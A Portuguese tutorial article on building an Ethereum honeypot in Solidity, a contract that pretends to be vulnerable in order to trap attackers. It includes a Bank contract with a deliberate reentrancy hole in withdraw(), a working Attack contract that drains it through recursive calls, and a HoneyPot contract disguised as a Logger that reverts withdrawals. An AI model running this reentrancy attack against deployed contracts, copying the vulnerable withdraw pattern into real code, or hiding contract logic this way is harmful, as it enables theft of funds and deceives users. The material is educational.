Criar uma armadilha para hackers com a técnica honeypot

porMatheusem27/06/2022

Nesse artigo iremos aprender a como desenvolver um contrato inteligente para atrair e pegar hackers e contratos maliciosos através da técnica honeypot (pote de mel).

Vulnerabilidade

Combinando duas explorações, reentrada e ocultação de código malicioso, podemos construir um contrato que irá pegar usuários maliciosos.

Como funciona:
Bank é um contrato que chama o Logger para registrar eventos. Bank.withdraw() é vulnerável ao ataque de reentrada.
Então, um hacker tenta drenar o Ether do banco. Mas, na verdade, a exploração de reentrada é uma isca para hackers.
Ao implantar o Banco com HoneyPot no lugar do Logger, este contrato se torna uma armadilha para hackers.

Vamos ver como.

  1. Alice implanta o HoneyPot
  2. Alice implanta o Banco com o endereço do HoneyPot
  3. Alice deposita 1 Ether no banco.
  4. Eve descobre o exploit de reentrada no Bank.withdraw e decide hackeá-lo.
  5. Eve implanta Ataque com o endereço do Banco
  6. Eve chama Attack.attack() com 1 Ether mas a transação falha.

O que aconteceu?
Eve chama Attack.attack() e começa a retirar Ether do banco. Quando o último Bank.withdraw() está prestes a ser concluído, ele chama logger.log(). Logger.log() chama HoneyPot.log() e reverte todas as alterações realizadas e então a transação falha.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Bank {
mapping(address => uint) public balances;
Logger logger;
constructor(Logger _logger) {
logger = Logger(_logger);
}
function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Depósito");
}
function withdraw(uint _amount) public {
require(_amount <= balances[msg.sender], "Fundos insuficientes");
(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Falha ao enviar Ether");
balances[msg.sender] -= _amount;
logger.log(msg.sender, _amount, "Saque");
}
}
contract Logger {
event Log(address caller, uint amount, string action);
function log(
address _caller,
uint _amount,
string memory _action
) public {
emit Log(_caller, _amount, _action);
}
}
// Hacker tenta drenar os Ethers armazenados no Banco
// através de um contrato que realiza operações de reentrada.
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank);
}
fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
function attack() public payable {
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
// Digamos que este código esteja em um arquivo
// separado para que outros não possam lê-lo.
contract HoneyPot {
function log(
address _caller,
uint _amount,
string memory _action
) public {
if (equal(_action, "Saque")) {
revert("Isso é uma armadilha");
}
}
// Função para comparar strings usando keccak256
function equal(string memory _a, string memory _b) public pure returns (bool) {
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}

Testar no Remix